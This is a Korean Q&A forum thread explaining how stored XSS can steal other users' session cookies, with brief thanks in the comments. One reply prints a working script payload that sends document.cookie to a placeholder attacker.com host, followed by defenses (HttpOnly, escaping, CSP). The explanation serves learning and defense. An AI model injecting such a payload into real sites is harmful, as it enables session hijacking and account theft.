본문 바로가기
Q&A2021년 1월 19일1분 읽기

XSS 공격으로 쿠키 탈취가 가능한가요?

양
양수진
조회 994댓글 4

Stored XSS를 통해 다른 사용자의 세션 쿠키를 가져올 수 있다고 하는데, 실제로 어떻게 동작하는 건지 원리가 궁금합니다.

댓글 4

김김영삼5년 전

Stored XSS가 성공하면 공격자가 삽입한 JavaScript가 다른 사용자의 브라우저에서 실행됩니다.

<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>

이렇게 하면 피해자의 쿠키가 공격자 서버로 전송됩니다.

방어법:

  • 쿠키에 HttpOnly 플래그 설정 → JS에서 접근 불가
  • 입출력 이스케이프 처리
  • CSP(Content Security Policy) 헤더 설정
우우하영(guest)5년 전
이 글 보고 바로 실습해봤는데 잘 되네요!
류류지훈(guest)5년 전
자세한 설명 감사합니다. 실습해봐야겠네요.
사사공민(guest)5년 전
이런 글 정말 도움이 됩니다. 감사합니다.
Ctrl+Enter로 등록